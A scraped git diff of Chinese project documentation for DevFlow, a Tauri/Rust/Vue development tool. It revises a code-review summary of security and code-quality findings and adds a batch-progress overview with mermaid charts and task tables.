`df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。
|
||||
|
||||
### ⑤ Store 内部分拆 4 子 store
|
||||
`stores/project/` 拆分为 projects/tasks/ideas/workflow,共享 `state.ts` 单例,对外 `useProjectStore()` 不变——「内部拆分,外部零改动」。
|
||||
### ⑤ 取消路径 TOCTOU 三层防护
|
||||
state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。
|
||||
|
||||
### ⑥ 取消路径 TOCTOU 三层防护
|
||||
`state.rs:86-100` + `executor.rs:180-232`:Ok 后检查、Err 分支检查、阻塞节点轮询。注释详细记录了 TOCTOU 时序窗口。
|
||||
### ⑥ SQLite WAL + spawn_blocking 正确
|
||||
所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用;批量用事务原子提交;WAL 模式读写不互斥。
|
||||
|
||||
### ⑦ MCP 多层防御
|
||||
三级过滤:`visible()` 读模式仅 Low 工具、`tools/list` 剔除 High、`dispatch` 再拦截 read-only + Medium 拒 + High 兜底拒。
|
||||
### ⑦ 重试机制工业级
|
||||
retry.rs ±50% jitter(rand::thread_rng)+ 错误分类(Ok/Retryable/Fatal)+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。
|
||||
|
||||
### ⑧ V21 大版本迁移谨慎
|
||||
`BATCH_SIZE=50` 分页、空库跳过、解析失败 skip 而非崩溃、`column_exists` 守卫 ALTER TABLE 防重复执行。
|
||||
### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW
|
||||
shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程;Windows 黑窗抑制。
|
||||
|
||||
### ⑨ 子进程清理 + Windows 黑窗抑制
|
||||
`kill_on_drop(true)` 超时后子进程不残留;`creation_flags(0x08000000)` 抑制 Windows 黑窗闪现。
|
||||
### ⑨ TaskStatus is_valid 单测覆盖
|
||||
df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界,valid_values_all_pass_is_valid 锁定清单一致性。
|
||||
|
||||
### ⑩ SSRF 防护完整
|
||||
http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。
|
||||
|
||||
### ⑪ V21 大版本迁移谨慎
|
||||
BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。
|
||||
|
||||
### ⑫ 前端 composable 已大范围抽离
|
||||
src/composables/ai/ 已拆 14 文件,AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构(8 个子 Section/Panel,309 行壳)。
|
||||
|
||||
---
|
||||
|
||||
@@ -382,11 +314,20 @@ serde_json::to_value(&t.tool).unwrap_or(Value::Null)
|
||||
|
||||
| 分类 | 🔴 | 🟡 | ✅ |
|
||||
|------|----|----|----|
|
||||
| 安全 | 8 | — | — |
|
||||
| 文档 | 9 | — | — |
|
||||
| 代码质量 | — | 7 | — |
|
||||
| 前端 | — | 13 | — |
|
||||
| 亮点 | — | — | 9 |
|
||||
| **合计** | **17** | **20** | **9** |
|
||||
| 安全 | 3 | — | — |
|
||||
| 架构 | 6 | — | — |
|
||||
| 代码质量 | 4 | — | — |
|
||||
| 并发可靠性 | — | 5 | — |
|
||||
| 代码简洁性 | — | 7 | — |
|
||||
| 文档 | — | 6 | — |
|
||||
| 亮点 | — | — | 12 |
|
||||
| **合计** | **13** | **18** | **12** |
|
||||
|
||||
**总体评价**:核心安全架构扎实(SQL 注入防护、密钥管理、MCP 多层防御、取消 TOCTOU)。主要风险集中在 `state.rs` 同步锁在 async 上下文中的潜在死锁、文档与代码脱节(AI对话引擎工具数过时、INDEX 漏列 9 文档、~100 行已移除模块残留)。前端整体质量高,但需清理少量遗留(Arco 残留、内联 confirm 重复)。
|
||||
**总体评价**:核心安全架构扎实(SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级),前端架构演进健康(composable 大范围抽离、Settings 已 master-detail 重构)。
|
||||
|
||||
主要问题集中在:
|
||||
- **架构债**:AI 核心状态机焊死 src-tauri(#4)、df-project 伪分层(#5)、文档严重失步(#9)
|
||||
- **代码质量**:useAiEvents 三处复制粘贴(#10)、Store 错误处理 38 处重复(#11)
|
||||
- **安全细节**:ScriptNode 元字符绕过(#1)、MCP 无鉴权(#2)
|
||||
|
||||
优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13);③ ScriptNode 默认黑名单(#1);④ 抽 useAiEvents 公共函数(#10)。
|
||||
|
||||
188
docs/Batch-Overview.md
Normal file
188
docs/Batch-Overview.md
Normal file
@@ -0,0 +1,188 @@
|
||||
# DevFlow 批次可视化总览
|
||||
|
||||
> 基于 [Batch.md](../Batch.md) 生成 | 更新: 2026-07-01
|
||||
|
||||
---
|
||||
|
||||
## 一、批次时间线(已完成)
|
||||
|
||||
```mermaid
|
||||
gantt
|
||||
title DevFlow 批次推进时间线
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %m-%d
|
||||
|
||||
section 审批与工具卡
|
||||
Batch 1 审批超时后端兜底 :done, b1, 2026-06-14, 1d
|
||||
Batch 2 工具卡片拆分核验 :done, b2, after b1, 1d
|
||||
Batch 3 条件表达式 UI 翻译 :done, b3, after b2, 1d
|
||||
|
||||
section 数据与状态
|
||||
Batch 4 知识提炼切读消息表 :done, b4, after b3, 1d
|
||||
Batch 5 关闭已完成待办项 :done, b5, after b4, 1d
|
||||
Batch 6 应用状态拆分+路径授权 :done, b6, after b5, 1d
|
||||
|
||||
section 跨端与消息
|
||||
Batch 7 小程序配置持久化 :done, b7, after b6, 1d
|
||||
Batch 8 消息分页懒加载 :done, b8, after b7, 1d
|
||||
Batch 9 多工程数据层 :done, b9, after b8, 1d
|
||||
|
||||
section 文件浏览器
|
||||
Batch 10 文件浏览器 UI :done, b10, after b9, 1d
|
||||
Batch 11 Git 只读 AI 工具 :done, b11, after b10, 1d
|
||||
Batch 12 Git 写操作 AI 工具 :done, b12, after b11, 1d
|
||||
Batch 13 文件浏览器增强 :done, b13, after b12, 1d
|
||||
|
||||
section 收尾与重构
|
||||
Batch 14 浏览器收尾 :done, b14, after b13, 1d
|
||||
Batch 15 多工程管理 :done, b15, after b14, 1d
|
||||
Batch 16 提交历史作者 :done, b16, after b15, 1d
|
||||
|
||||
section 崩溃修复与 UX
|
||||
渲染崩溃修复 TDZ+窗口权限 :done, fix1, after b16, 1d
|
||||
Batch 17 Git 能力闭环 :done, b17, after fix1, 1d
|
||||
Batch 18 小程序审批超时 :done, b18, after b17, 1d
|
||||
|
||||
section UX 与架构
|
||||
Batch 19 任务管理 UX 重构 :done, b19, after b18, 1d
|
||||
Batch 20 coordinator.rs 删除 :done, b20, after b19, 1d
|
||||
任务快捷操作菜单 :done, menu1, after b20, 1d
|
||||
|
||||
section DAG 与依赖图
|
||||
TDZ 防御 :done, tdz1, after menu1, 1d
|
||||
Plan 执行器骨架 :done, plan1, after tdz1, 1d
|
||||
Batch 25 工程依赖图数据层 :done, b25, after plan1, 1d
|
||||
|
||||
section 增强
|
||||
Batch 26 dagre 布局 :done, b26, after b25, 1d
|
||||
Batch 28 架构债收尾 :done, b28, after b26, 1d
|
||||
Batch 29 环检测+PNG+总数 :done, b29, after b28, 1d
|
||||
|
||||
section 待推进
|
||||
Batch 30 代码质量收尾 :b30, after b29, 3d
|
||||
Batch 31 MessageList 拆分 :b31, after b30, 3d
|
||||
Batch 32 ChatInput 拆分 :b32, after b31, 3d
|
||||
Batch 33 多 ReAct 对接 :b33, after b32, 5d
|
||||
Batch 34 产品完善 :b34, after b33, 3d
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 二、功能领域分布
|
||||
|
||||
```mermaid
|
||||
pie title 批次功能领域分布(按完成批次数)
|
||||
"文件浏览器/Git" : 8
|
||||
"任务管理 UX" : 3
|
||||
"工程系统" : 4
|
||||
"AI/Agent" : 4
|
||||
"架构债/重构" : 4
|
||||
"小程序" : 2
|
||||
"Bug 修复" : 3
|
||||
"依赖图可视化" : 4
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、批次依赖关系图
|
||||
|
||||
> 仅展示批次级别依赖,子任务明细见下方表格。
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
B6["B6 状态拆分"] --> B9["B9 多工程数据层"]
|
||||
B9 --> B10["B10 文件浏览器"]
|
||||
B9 --> B25["B25 依赖图数据"]
|
||||
B10 --> B13["B13 浏览器增强"]
|
||||
B13 --> B14["B14 收尾"]
|
||||
B13 --> B15["B15 多工程管理"]
|
||||
B13 --> B16["B16 提交作者"]
|
||||
B13 --> B17["B17 Git 闭环"]
|
||||
B25 --> B26["B26 dagre布局"]
|
||||
B26 --> B29["B29 环检测+PNG"]
|
||||
B9 --> B11["B11 Git只读"]
|
||||
B11 --> B12["B12 Git写操作"]
|
||||
PLAN["Plan执行器"] --> B33["B33 多ReAct"]
|
||||
B30["B30 代码质量"] --> B31["B31 MsgList拆分"]
|
||||
B31 --> B32["B32 ChatInput拆分"]
|
||||
|
||||
style B6 fill:#2d5a2d,color:#fff
|
||||
style B9 fill:#2d5a2d,color:#fff
|
||||
style B10 fill:#2d5a2d,color:#fff
|
||||
style B11 fill:#2d5a2d,color:#fff
|
||||
style B12 fill:#2d5a2d,color:#fff
|
||||
style B13 fill:#2d5a2d,color:#fff
|
||||
style B14 fill:#2d5a2d,color:#fff
|
||||
style B15 fill:#2d5a2d,color:#fff
|
||||
style B16 fill:#2d5a2d,color:#fff
|
||||
style B17 fill:#2d5a2d,color:#fff
|
||||
style B25 fill:#2d5a2d,color:#fff
|
||||
style B26 fill:#2d5a2d,color:#fff
|
||||
style B29 fill:#2d5a2d,color:#fff
|
||||
style PLAN fill:#2d5a2d,color:#fff
|
||||
style B30 fill:#5a4a2d,color:#fff
|
||||
style B31 fill:#5a4a2d,color:#fff
|
||||
style B32 fill:#5a4a2d,color:#fff
|
||||
style B33 fill:#5a4a2d,color:#fff
|
||||
```
|
||||
|
||||
绿色 = 已完成 | 橙色 = 待推进
|
||||
|
||||
---
|
||||
|
||||
## 四、批次子任务明细
|
||||
|
||||
| 批次 | 状态 | 子任务 |
|
||||
|------|------|--------|
|
||||
| Batch 9 | ✅ | project_modules 表 · ModuleRepo CRUD · 创建项目适配 · AI 工具注册 |
|
||||
| Batch 10 | ✅ | 文件树组件 · 文件预览 · Git 状态标记 · 面包屑导航 |
|
||||
| Batch 13 | ✅ | 行号/图标 · Diff 视图 · Git 变更面板 · 窗口分离 · 分页提交历史 |
|
||||
| Batch 17 | ✅ | Diff 行号解析 · 分支只读展示 · 提交详情 · 写入后自动刷新 |
|
||||
| Batch 19 | ✅ | 搜索框 · 筛选改下拉 · 排序选择器 · 分组可折叠 · 快捷操作菜单 |
|
||||
| Batch 25 | ✅ | module_dependencies 表 · DependencyRepo CRUD · 依赖边渲染 · 小地图 |
|
||||
| Batch 26 | ✅ | dagre 布局 · 添加依赖弹窗 · 边类型着色 |
|
||||
| Batch 29 | ✅ | 环形检测 IPC · PNG 导出 · count_tasks IPC · 真实 total |
|
||||
| Batch 30 | ⏸️ | 搜索索引核验 · 编译警告清理 · i18n 核验 · String 替 newtype |
|
||||
| Batch 31 | ⏸️ | 提取 MessageItem.vue · 提取 useMessageScroll.ts |
|
||||
| Batch 32 | ⏸️ | 提取 SkillMention.vue · 提取 ImageInput.vue |
|
||||
| Batch 33 | ⏸️ | PlanExecutor 接入 loop · plan_hint 生成 DAG · 执行进度展示 |
|
||||
|
||||
---
|
||||
|
||||
## 四、关键指标
|
||||
|
||||
| 指标 | 数值 |
|
||||
|------|------|
|
||||
| 已完成批次 | 29 |
|
||||
| 待推进批次 | 5 |
|
||||
| 总提交数(Batch 1-29) | ~35 |
|
||||
| 涉及 Rust 文件 | ~25 |
|
||||
| 涉及 Vue/TS 文件 | ~40 |
|
||||
| 新增数据库迁移版本 | V35 |
|
||||
| 新增 IPC 命令 | ~15 |
|
||||
| 新增 npm 依赖 | @antv/x6 / dagre / highlight.js |
|
||||
| 当前最大文件 | MessageList.vue(1552行,待拆分) |
|
||||
|
||||
---
|
||||
|
||||
## 五、待推进批次优先级矩阵
|
||||
|
||||
| 批次 | 价值 | 风险 | 象限 | 建议 |
|
||||
|------|------|------|------|------|
|
||||
| Batch 30 代码质量 | 中 | 低 | 高价值低风险 | ✅ 优先做 |
|
||||
| Batch 31 MessageList 拆分 | 高 | 高 | 高价值高风险 | ⚠️ 需谨慎,要测试覆盖 |
|
||||
| Batch 32 ChatInput 拆分 | 高 | 高 | 高价值高风险 | ⚠️ 需谨慎,要测试覆盖 |
|
||||
| Batch 33 多 ReAct 对接 | 很高 | 很高 | 高价值高风险 | ⚠️ 核心架构改动 |
|
||||
| Batch 34 产品完善 | 中 | 中 | 中价值中风险 | 🟡 可延后 |
|
||||
|
||||
---
|
||||
|
||||
## 六、批次提交密度
|
||||
|
||||
```mermaid
|
||||
xychart-beta
|
||||
title "批次提交密度(按阶段)"
|
||||
x-axis ["阶段1", "阶段2", "阶段3", "阶段4", "阶段5", "阶段6", "阶段7", "阶段8", "阶段9"]
|
||||
y-axis "批次数" 0 --> 8
|
||||
bar [3, 3, 2, 3, 3, 3, 3, 3, 3]
|
||||
```
|
||||
@@ -17,7 +17,8 @@ docs/
|
||||
├── 待决策论证-2026-06-16.md # (归档) 7 项决策论证(D-01~04 已定 / DEC-01~03 已闭环)
|
||||
├── 01-技术文档/
|
||||
│ ├── SQLite-CRUD模式-2026-06-12.md
|
||||
│ └── Tauri-IPC模式-2026-06-12.md
|
||||
│ ├── Tauri-IPC模式-2026-06-12.md
|
||||
│ └── AntV-X6调研报告与引入计划-2026-06-30.md # 图可视化层选型(v3.1.7)+ 依赖图落地计划
|
||||
├── 02-架构设计/
|
||||
│ ├── INDEX.md # 本目录分类索引(按性质四类 + 命名规范摘要)
|
||||
│ ├── Phase1架构决策-2026-06-12.md
|
||||
@@ -107,7 +108,7 @@ docs/
|
||||
├── 08-用户指南/
|
||||
│ ├── 使用手册-2026-06-12.md # 用户手册(对齐 06-15 代码基线)
|
||||
│ ├── AI文件操作工具手册.md # AI 工具 API 全量参考(10 工具,2026-06-16 更新)
|
||||
│ └── patch_file使用指南.md # patch_file 专项使用指南
|
||||
│ ├── patch_file使用指南.md # patch_file 专项使用指南
|
||||
└── 09-问题排查/
|
||||
└── aichat-apikey-401排查-2026-06-15.md
|
||||
```
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user